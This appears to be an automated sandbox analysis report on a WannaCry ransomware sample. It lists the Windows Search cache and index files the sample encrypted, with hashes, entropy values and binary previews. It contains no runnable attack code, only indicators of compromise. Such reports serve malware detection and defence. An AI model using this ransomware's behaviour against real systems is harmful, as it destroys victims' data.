                                                                                                                        Preview:WANACRY!....r.!l...a....'|I.han.qP..fQ.t.....\.!......n9..t......4....k&zbt..=....H.K=t..@ni8t\.N.e...|... M.7.K.c........w..&....7...gA#.....;...w....b.n.Z..e.....a.?...0.'d ..L.......W...Z.ee..&.l.B?.jp..kt.%x.....VI.8(...&*.y...$Z".Yy.w.....<...m....R......+.......S.C.n..v......./.....8S.o..../.5%.cgt...tc.....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\DZC4C4P0\trans[2].gif.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):328
                                                                                                                        Entropy (8bit):7.236640114623406
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEBQJ3hDjx+Il+6M3PF7pSGidSUvB5esQSgsxW8Xss+4gv5T9ihp:bkEGlsBn3PnSGN0B5esqFsp+9+
                                                                                                                        MD5:D194C37750875BBF8FB02553173BCDB6
                                                                                                                        SHA1:179C3A908E4882F39D22F0F9B2F6DF3959AAA3C7
                                                                                                                        SHA-256:E897CCF0DFB84D6736DB222395CF4450A6BEA08FAE1F2A4EBF62C49AB3EBEF0F
                                                                                                                        SHA-512:64E50793B54526829C42F925230A0781642160CB385068A005FBD6C08E5C5EEEDCA5527568E73FF7D88E3CC845F2862C20D9CD9D08FDD37C98812118014E6C1A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....y(..#...M...Xn.p..b...Wm...VCF.6.:..............nJ....N...\w.&..|.kQUs..l.)..i..#.6..h..!vh..`.R6[5^,...t&.Py.U..1..?u[...o....|.K./W.E...n.>..ka.^..VVV....O...$...t........j....e.AJ.OvV...=dx..|.7.y.M...k.(......{..7....W...%Z/..M...V.f.........+........S^;..U.5.....w..6.,e7......s\.RP.3.....W4.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\RTYRAKQ2\th[1].jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3384
                                                                                                                        Entropy (8bit):7.946013403937018
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oagJ0SHpjIcpx1jjGq9/8EUsMAsHaq3nx:BGpjTx1/L/83sXs6Onx
                                                                                                                        MD5:0D47237F39AAF15AA2FB0416B8536328
                                                                                                                        SHA1:758094BBFF7E911902220A8F5A1B05B96EBF3257
                                                                                                                        SHA-256:264D984CC1A7B2BB27CBD79C587A63490DDBCA2998C3AA5C4FB6F5F8CF1E7182
                                                                                                                        SHA-512:E6FE84ABC27CEB664D3416F48663791766D606A564016539F29DAA55976778287F9D850C442923C60E92FF8E13F6535D8DC8049D4BA01D45B110FBC34AF7D315
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....Z.U...c..D.Q.RvJ.:..wU.5.d.....[CY........A...u.W....].I?K.Q..#Oaf....q...Q/Q8..Y-....+.....z.HH6...7.rd..FE.i.<...^.{.d/i..r.....$..P..,..S.E.......f=.s...Q.:.w...8.Z.,..-H/M..9;...W.Y...F...O.Lv...)....8".....e..^..R(6G.0...?."...).................e....}G}-.C.eg..t.......FlQ...,.C....1...c..CnI.....^#.u^#1~.m.n.....ypjGx.O$.-.iv4.eN.#e.R.+.H..S.~~Z.Lx.....[t...zlo....V....h@.T.e{q.M.@.:K>.?..ea...~..G...~.$(...:.+E.t.c.L{..R.. .{.X...D.l.}.X.>.'9.M-.]|..).{$NW.O/...D...{PW1bI.j....#.fif.aDu......_Y.[a.gR>./A.......wG".2z...o..`J.P......?.).!y.U.rU...X3..l.../..J...1....%...f....-.$7.3..1....8..n{................G...y....L..5..*:..i.Xs&....?.....^.$5.2.(o.DK...1.1..e.-H..J....Q.0SV<A..........n.J].E........2...+.R_.AR)....z...<....V...j.8..8...nN...s.u.|..}.dy...l...`...\&...Y......@Qm..j&s.B...B....t....&.......KU...?..p".#@c @... ...pc)~...lf;.Hh.~>..t.....@.. .32;...O...$......f.F...-%W..h\,.]..3...5L.......#z>.P9

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\RTYRAKQ2\trans[1].gif.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):328
                                                                                                                        Entropy (8bit):7.2281356056030335
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEjWVvtzMYySMz9NWNicDEiCIqNkm6sP43Fxydwo+0h2OmU2gXawyna8y2qHExw:bkEjWV1zr1+9NZEZid43mdZ+Y2Oz2M7b
                                                                                                                        MD5:6C21CD08EF876D606104C8F53070DDA2
                                                                                                                        SHA1:A3350A4028BE483E1FF4DE53E0113EC7F446D394
                                                                                                                        SHA-256:B2542D8059228402CB7930B809955F699157042D24553C7AFA3545CA6256892F
                                                                                                                        SHA-512:7B67D1C3125894B38982C0273730A6154986858BE9059579B7524FCF8E961EF6814895B6F7DCC6629C5EB7466B30D370E7B3356B429C95E2ACB4F7906EA532D6
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......6nsB..s.}l5.....A..\...V..e...}.z...g.......y!...i..<.%..h..W.....5..o.....5:5|j.vWA..%.....yt.YK.2Q..@.q(.Eu.[.C......e'.rX.....X0...S).....P`-w.r.<.p.V..`^..0..TO....s....)s.K(.n.l..,7H+.i..d.vz.0ES....9 ....n.t..+|.9..1Q....Op^(..Z..>...y^xU_....+........T...B.._Pc.M.W7...`..4....%.x.^OY.7Y.O.Z....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\RTYRAKQ2\trans[2].gif.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):328
                                                                                                                        Entropy (8bit):7.257331920611734
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEBgNS6Y2GYTL16hmGHw5UOK/KfInhYjAh2b7ZIXVXywzsoAIQDbzW:bkEBgNe21Lshml5lfehyE2XYZRYoGPW
                                                                                                                        MD5:A85AD3ADA06CE8A4B3489786EAF2EF00
                                                                                                                        SHA1:6E780ACAB973BC85D7F12D5A872440ADFA2C0320
                                                                                                                        SHA-256:FA1CCCA390F68FEEF7857ECE75BCFA8875A0E2720029BEC51A14E5933AEB2BB8
                                                                                                                        SHA-512:70AA99DAFD2A03E7DAAC87A26F87CCE9414CA0B5FF46B3F80CA3C5605CB32D025DCCFB3C134D528BE80D6D35AB6B236288A60C3916951549AFAAE42A3363EA59
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......J.zQ.,.RC...].}}.#. .Rz...n...+..1.6...iM..j....h.$~`H.>.@.g..a...)f..X..&-.L..Z..c...\.{N.?Vi.:.zM....A}..W.a.].......&d..D{rR...9.&1[R+..m.p=...g...|h.d...Z).!..%j[.....m\.>..J....../O~-.....|:..4.......H..Hm.v:....._......p.d.!:XP......+.......d.....s.Q+5.(....YU.M...........wR.7.x.X..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1573144
                                                                                                                        Entropy (8bit):7.999862260230918
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:x757HHK5kMMymC2naqogNzrWfkvPh0WMhESg240ZSIHrqackS/hp0b4OjNLgvUmZ:xl7qf8ae3FxDMheeHm7HH0b4OwUmhUa
                                                                                                                        MD5:3A61DB3A82574EBBCC676EB5768C138C
                                                                                                                        SHA1:884DD549145E6BD62DFFF7C6975AE47E04D775A0
                                                                                                                        SHA-256:E3A615896015BF7D0A66750D9FC263B0D5B12EC15A84DDC170995A5A0F15BCCF
                                                                                                                        SHA-512:3585EF36A70053A5B700C06242327962D253E404F94BA8E4B7B70250542E3C6F16A09FCE99C52C124B60BFCF436B8569C9209CB9E85A78CC83D2F7ED25933620
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......% .w.~.E..W.=#.h.....K....d.F.I.v.'dN..k.&GL.r........5&/.$..Bx...7.uu.$mk.......4Dq.c........6......Y.gS..=..7.sZ.{n.N...D.[..'...._?.~....^.....v....i}...0. i)......,.[3..j.9@;.....n....$.......C.I..G.[.V>88I^....q.v3%c.{.M.r%.H..P>.`.b..............|2.tjf/.E.lL.8..aw>.0u4.^..LB.M....3..:....V..Xj..\.h<I..8...P.VM...G..]$..............s.`+_A.#..^.0.s.-;2.4Q...e..1} k..M....Zsn..Cz....U.n.....}.l.$Z.p....5..{G.q.9RH..p.>...{$.K'.;.z.%...<...8.i.^e.B..=...w)n.A....MFMT..4*....s.."_.&-XN#..S.......^..b..%l*....j..Q=.......:yS...u}O..k.....ph.........|BO...*...cHu.}-8..XL.E..l.&|t.:..={e.a...d.7.......#.x.&N.6%v.0..{..Eu..!....}.cp.c.6..L.p....3)...>.Q*.....`.f..-9(K-XN.x.19...........L.........v.."`E...-.6..{;a,.)..Eo.5.H...Q.8~4r.Onr"..-..7.KV..MaP%.M....+s........\P.s...M..n..g.8...pn..BN.-.F.1.ve....t|..^......+.5>...@.}..%.+.Wi..R$i....{.....F%s.Uh..6^..C.D..|...8.y...1..|..z&.......[..........l.D.R.....'7S.*...E!...[O6.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2097432
                                                                                                                        Entropy (8bit):7.9999010138380475
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:49152:+wyMbVTLdK/vB1j2NTOtjXu1Ik/9eDlhCBrBKLVmM71FYpBS0cq6T4:nyMbVdyBh6WKshGrBxqFB0cq1
                                                                                                                        MD5:8A0C6F63C9B72786FE250F9B627DB42A
                                                                                                                        SHA1:BC66E96296A5096ADA34DFFF06D2A79E8B5F01A7
                                                                                                                        SHA-256:1F9AE5DEAB3EC0EC1F3D5CD703AA5D2CE2FE1482D98EB50FFEAA4F042DF1B9DF
                                                                                                                        SHA-512:DDD80EB5F86085B941650C02F16F70452A8388B8C69DE0AC57EDB55F52CD5800F6F3ECB945B1E56590D421292FFDF1BFAE4737C80B153FD876E7CFF8F3F131D7
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......g.f.#.<y.s?....4S..u.Y.ebo....M.......Q..E.;..~....m.....kPa.Fhec.|.X..W.u..LF..T~TD...:ID..W...P>...n.0.j.>!.......F....a..... ....85.I......Y....!..H.(...\..x..u..P........~P..>z.).p.."K..k..3/....)Y....iq|..~.xT....hE..-..\..,Y.X........ .....'j............+...).<)IiuG....!.A..+.p.'e.I.o=...=..X.p...V.7.'0..Jey...xk..a.[$..Gq.,1...(..e.PL.d.......y....`B\.e.Q.P.$.V..RpI.t..Lg[ /.K HR@.i..I...l:......3...p.>O....(_u....x..P...Y...\.......b.....l..m.....lV.}...u...g..$...Y.=.X.E.pG.xW5.LD.p.4z?.Z.H.f.......s.E.....mz2..i.....o......K..D.4.N..0...4.....r.L=...8.....L;..gm..R.........&...NB.3..z..y.z$..5.LM.6...2...E.L.7.!y.pM2.s.m]....(1$..E....n..v...`U..U............>`.F3.X..i.W..3/..gS:.T..f.r...f..l@..a.f...5.p...=x.+....f.^z....c..8..m..'L7.....}..P.<L.Dy...0......@S..f.....eZ....t...I.f....L.#.q.....3*.I.;...>..y.......sU.|...iWEf..o.]P..xP.r........l.......c\.w@Y...jiX..#.).v.G..t8......Y.. `..S+...]0..-....E.}.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2f454d09-98d3-4777-8736-371430301592}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47272
                                                                                                                        Entropy (8bit):7.996705969817957
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:IKswg8azvKD76NNxI4fZRi89psk10I5VJzuX+KF0QvLw4/4bBBhe2DCB8ZnsVI:IKsv8azpNF7v1H1uX+8hIgxksW
                                                                                                                        MD5:9B26EDCA971D40B4145EFC5F30F703BC
                                                                                                                        SHA1:7C94B2349EF0ACCA4E76D6B99DCE3DF6D235BF84
                                                                                                                        SHA-256:422071D5B4809847881A8C0848A082F845B928B7CC7EC2556D663B68DBD9C826
                                                                                                                        SHA-512:AE0A0F96FE35C3924CF0B3E295760C9C9BE654F823AF3CA57209D2466EC2A870668C2F509FCA0D781593B0CE6FE3DC21EE94DE43740212CD542611274F057B34
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....n..9.n...G.;!c.2(.......q,....3.2..3k.*..,..[,.k...Q..q...Io..2.<..A..X..!.e.k.Uk...li.a<....-.......%.!...R.o/..........0!...>.......N>..!......e.\...:..]...~.x...U...pB~..!.V....6.4...,.....H.q....J,/m..}..^,........Z..;g......._;._..q.0..............._...|..2.........G.<.L.s2....p3.~L....8Wp..0<....B.I(,p.&LD..T.1.O.!!...~.R..Jm.5Y/r..\...Ni{..].....x{.%;.8<..2.(w..f.6.g.[..u...:.0..^..l8.%..x.....|m}Y~..........n..0..5..8......vb..iG.........x.U.%7..;..L'.q.?o..[.gV....j.&RYs.!.4.....p0. W...J.....*h...P.....T7U.[.\..N.n.....@....<v{..d...a..S.....>Tf3.8....D.../.[n?K......+.K[.2...J.c...s.N{....$....{5.N.....D....e5i....U<..C.(..`Z4..|.2Z..9}.....!.|!..i8.R.d...3...|k6.....}/~.4...Tr.j...Z.i.d.e...o,.H.L..m.6....h..P\......Q.....y....V1....K.U.,..E.".p.....Hx.a..9m..C..#.Wn.Q1..g#L.;...2T.4..g.(9..bn..UO...w.0..N[(}.WQ.......d.?0D..I[1..+Y..6...b...18w......z.X]..b1Z...?f.0...a/.1K....Q.n5U.).ur..fn?...\..+y4Oz..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2f454d09-98d3-4777-8736-371430301592}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.145358591898541
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkED2r9rblwk9YRKh5ttiXD1+cVVyH/j5LmUdHOic4v1oyQoMDgqSYekNxs87yq:bkED21bq02KDTiXp+cyfj5lHO/4toyUT
                                                                                                                        MD5:B962A76EB87FACEC51571A9B2D424181
                                                                                                                        SHA1:B3E629BC8DCF122F63A627CF8C3B2E29638031DB
                                                                                                                        SHA-256:3089900949848F966742B273627F34E92EC7DF440B23F95CA0BD55FCC3BF15ED
                                                                                                                        SHA-512:93C9FE9FFCE798BE1D33F65C3FCE6D89AD5974B1D1EDED0B253EEBC69A447DA2FBF28A59EE38AD0F5C48ED748015A7AC06A629BD0A8349DC714CCE1209D5C9F0
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......]i...{.......w,.....g.8.U../].a0^........M...S.....;...B....@..X......%...<@G.z.]y00...J.{C..A..y;..l2.u.`{a\.wS.\...@3..-Jh.f.....UjU.'.....[.`.N.I...7.!..=..v*A.s...?9.P.G...(g.4t.e.nD...J-[/^...=S...O..\.I.6.L.d....K...x.v.j.;...^.=..a.k&[}.~.............l.H/L..n#..t..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2f454d09-98d3-4777-8736-371430301592}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.229526948901307
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEvs1RCZZp/G7HFohRa3PLQIh5Jq2TvR9AVCrnfKD0ihXd4lgl/mJ:bkEvlZb/eow/vRqVoAtogleJ
                                                                                                                        MD5:1E0111732203943C649F21F2452B9624
                                                                                                                        SHA1:ED381A50C60F8B3FBED3AEF70D5F38190D854A6E
                                                                                                                        SHA-256:F92746E251FA68468F76726BBF571945FEFB30A4A9B91A1779BEED0FF16B6D63
                                                                                                                        SHA-512:86601576CE2E421FE68B3005F5534DEFB44872BE1234CC8557EB5FE816B9B6E00B111F4838AA3C926F6C6B6622AA210E4203B0E0E133656062DD8652A3649F22
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........!.Ie,.3c.....Q...(,.p.......U..h:O.4..c..\1..g..6.....5:*3....T....9l.....^.....{<v.Ve.D...n.>.].....noo.....:A.9.....V..tTz.....#...iJb.7..).+T.m....\....A..V}...w..Q$.B.....Z..e6....-Rq.>....]!ulp......7..p.]...f/+...mR..P.Vj."L.#.O.x.............Ag.k.e.......3@

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4f6a60df-9a8c-47a3-97c7-d65fc43b8ea0}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47272
                                                                                                                        Entropy (8bit):7.996312432750624
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:X1ap0+7vqQq5UqZiidkZsHTitiT+Abd94z3i5AC9oF7YRvbQfpf:Xk7CQq5UqidoKAbd94z3Oz9oF7YRvbQJ
                                                                                                                        MD5:2AC844DE3240AA1933C9758F32FF9C3E
                                                                                                                        SHA1:D95E76D066550B7D292EB4B26A2DE2B04F41A2AE
                                                                                                                        SHA-256:7EA539F47C32E26550E558DB7CC11FDECF2E995CD70970BE4EDB1083BA0E5220
                                                                                                                        SHA-512:AF1B2FFD130DDD5AA326F4477DE933A21AD8829D5E0C315642AC08A82484BF50399720660AC205E014EA58F30D5DE337BD3C378BDFF12AD6E6EE5F60219375F7
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....dH8.):..A....NCK.0..P....Y<d.......Pm:o.}.^..y...3..?........0D.....7X...h.80.a.7.R.f....k(VB.yi:<..'Sdun.gw.NB.....m~.5...]2.]1....v.....E....#@....5.7..?yZ>..>3GP..x..U.....XK..~..8..h.Bv.....D....<Il.?.._..s..D..QA&.x.....e...n.S..J71..iH................S...M....`.......zNr.#k.@O;.C\w7........A...H..K.:&.E\.(Ni...fG.&..'.g.|.....-nq.V..~..,....(l.i.1.Z_..FO.${..=k.T....a....*.(.......5.'..s.J.3.^.#.c..N...6...v...`..@ .kFOV...0je...(.9.VK....+5.We..\.rZY.Io.Yk.+.d.{..f......Q7...*....?.B.;....%!..!.E..7.cd...n.[Zc...k..{.....5....Pe.=C.2~..M..y.E.."..!kH.VP.W...+e.0..\..>.u2.)..g......W.Z..4.X..._......T.....*.s`..x3.q|G..#..o.4.P..i0..r1)._....C....E.W&..Gr..X..z..{..2c...7..Jaf1i.,...#&^.\....I....:.-!.. ...a.7.#..+R..Ek.e:LN.3>q...I..*..||.Yr.[..DF.=V........j.o!......9....&....cX.....SsY.0.*.....}8.U.vK.bv ....}......*.$.Ic!.........z..Wt.Y.g........o.y._)1.9.n(..=...J._.H.......m4r.q.:8;x-G..!..6..."`....f.Uh.2.M..c

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4f6a60df-9a8c-47a3-97c7-d65fc43b8ea0}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.172897539763526
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEvE2UDI7FvtaCggHm2J2NteVFgsfwfb9FmnF3FyaJ6tu7a1JU:bkEvFUD0FvoCXG2+tewSwD7QF1yaJ6Qj
                                                                                                                        MD5:B3C3307417680022F0D40A5AC85CB755
                                                                                                                        SHA1:5AE2C490D174FEDAE5D04062115A3F915E24C6DD
                                                                                                                        SHA-256:5656A18DA363E57F8E31DEBA5C5F692B80596DC07F830D235B28D3384A857443
                                                                                                                        SHA-512:BBB90F7C1324955283D712637DF1D0CFF28C00BA3F327BD877DADA85D07D941DCB4AEC47C86D0DB902055BFBA728618581F58952D62C8487B5694E2EF0F495C7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....D..k............'..a;t'......~.v....Q.........{G._..9.e.o...5.J./.....j.......]..U.. !..K`..q8...<......)4\.,#*..U.H.=....$..Y,....4.sn..s..).....&.B..z...w......\QW......A....._L$t...._..c...,E.M%.Va35..|T .#j.].|B.s.8.....5.......6h.f.?.,.................S?2..S.W@1

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4f6a60df-9a8c-47a3-97c7-d65fc43b8ea0}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.181159827104904
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEuqWFvCfUzNNqPGb35y4zaZ/Zn4fGpqUBN0BotZ9LSt0M:bkEuxFC4NqI5y4zaZ/Zny/ultPLhM
                                                                                                                        MD5:9359950416F5C48D225C6C2087ABBBE3
                                                                                                                        SHA1:F49BC52413EAB8C38ACF303F1DCFA4D04A919C80
                                                                                                                        SHA-256:B507AA0374206AA92CCCACF1DE67F771FE8DA3E272CD467BF8A07BF2FEE689B2
                                                                                                                        SHA-512:21A703B6F80233342F6DD757026C3CDE3666DC35502DE81FE8250771ED233D6431F39FA9B9964A697E120D2908169C5848D0B6FE549B9B726C05D7A92DAEFD17
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......p.=..v....k.XP[5`[{..=....`..:9ACy......".! ..g...9.~...VA.+S......C.G..T.vs.gv...H.......b:+q.."..Q. ^p."'..P........Gc..a9%g.........E.........@.6_.w<}..La.!.w...:...B.+k.<O-&......\2#..;/\/.x...a..G..h2;&t.8 7. y.. .M..0.U......$...%s..............=.6..0z.T^./}.E

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a93335ab-ff33-457e-a1a9-982524fc8c3a}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47272
                                                                                                                        Entropy (8bit):7.996090858009442
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:tIIkWrTbSNzr3tTDmsXNjd5ZKUWXKcdVb39jDbp8VYTZQWAwk9:tIIzUrdTvNR/KUWXbNNjnKVKtAwk9
                                                                                                                        MD5:BD002BE64657F06947EAC41E613C1374
                                                                                                                        SHA1:1E86C6A68F0BBE51B21BD3021E63538375471700
                                                                                                                        SHA-256:0693C0E0BF8B4FC0CDCF85014DCB37C391CA4120DA07EF28B03054E9A713737B
                                                                                                                        SHA-512:A8671296CEF44E938AFDBB3D48C554132B4F973E316A50C8F8F965A2D0D4F3B600EA5A2F76E4C7555FDCE008C0F25A13502A004840EC93B09EF01CDBB6BC75A8
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......-8D.....(1...6+..$...!O"..h.1..]....J....jbp.k..:.R.@...V..M..4!z$.b?.BU.@!..o....).}..}.....i.I....kX..75Q.C.[py...P....v~:...mO..........,f..l.A?..k....K....N..4..V...y.B....m.M.H..@......#.{...!.Vg...%.*..uf.y....R@...f......<26..3...............Y..q....9?%E_.U#..;r.2r.&........!..r,....FMV.8.e.j..=G0e.....{C@......(.....3Y..s.....sD;...x..U7.O..b..aH..5...;.Ka'.q..K.zyxOZ...\..s..w.>....y9.lN.7.u........Z.A.R....Q...s...J~5.<. 6b....".vG.1..:...=........#..2t....s0/S.]>.R|..K.).'.5...B.P.x.$...-..3...I.......%....N).../.`][...m...........'..[g....C....!.....ep..E..$..._..-..l...by*..k........,....$......B.....B`2.%....c....-@?o.....\...[.M./.....J....K.=.!(?.'........|.......`.c7....A....t.n...6V...r.(.W.T"b..\...X...pP.p.#k.... d-E..:L?...F.%.7.._..^s.....tm....6..F7AZ%3..............z_#.+A.N.!%0{...(..5...>..5.i....^3,......-..\w.....#......2mXhu...{T".....6SB..2....E..-.BMG0,i.:...b].'.e9'..o $c.y.&...f.3=A.?yz.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a93335ab-ff33-457e-a1a9-982524fc8c3a}\0.1.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.136412825423023
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEMew8vr8JX9b62XZ293B4SzIPzBR20n4VA6zd3Yt7:bkEM+vKV703BpzIPlnAg7
                                                                                                                        MD5:685478623F2D7E2E5607217FDB3E8752
                                                                                                                        SHA1:BE78EE331E9127B52FC2A1B2988C7AF20B798C70
                                                                                                                        SHA-256:8021F6028E722EEAFB6E7E3B2C5F6C3F700D486BDCC940BB83EB81369C5D6D0D
                                                                                                                        SHA-512:E5E2EFF71404DD9C508043647E702268AF0CF3ED742E79D22D6277D5CE608B0EDE3A9162B65A35180E8C67FF7339D856DAD819512E2D6CAD49FABF184BDB3F70
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......;.*..........._).d....S_..'.9%.Z-......=........$8T)A...p..w1.AuQ../m.|...X"..C...H....i../...G...G.K6...*...1>3.T...^.~..e..6G.db.d.......w..X..z...U...M.......}.m0..o.6.;.6.)i.!..'..B.{..%...o....hH....;."B:../NUz........2......].X............J..&..G.%.......

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a93335ab-ff33-457e-a1a9-982524fc8c3a}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.1626539144619334
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEgC5VqEDKHH/GoV/rncc0OoNeeZC6vmmc7++vew3bD8fxd3yh:bkEhVHOOBc07Negvmmc7+ovUxd3y
                                                                                                                        MD5:D6CC09A4C747D05A117461ADC0EFFC19
                                                                                                                        SHA1:DA8F8E202F775B910396D253FAB0D1DAA6A2EB7E
                                                                                                                        SHA-256:669D8DECAAFAAE1188068FC17613B68354BC17597BF9A43C3BA65A8C6CD5D197
                                                                                                                        SHA-512:85C93827B94F35FAAC8DAEDD6E8333123B358A508EA2FE042A874AC472CEC00F390BBC23911316988A809790B53901BBB43F703F960D76F390C3576382D22ED5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........(..0k ....F..#...q....*m..4..N..F...........ai....p...X<..GV(.'..] U.C.]..-hT.Z.y'MI............5`^.......}BnM.aD..u.q-...L.....p....#<D...|V......G@Q..Osa...;. ......!$...if..~...5^.....-....L.,......0N.p....c..`.3\...z.. ..8Q.<..g........................T....>...W.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{baa231c4-8fc4-4806-b065-5ab82b98bc93}\0.0.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47272
                                                                                                                        Entropy (8bit):7.996802704449419
                                                                                                                        Encrypted:true
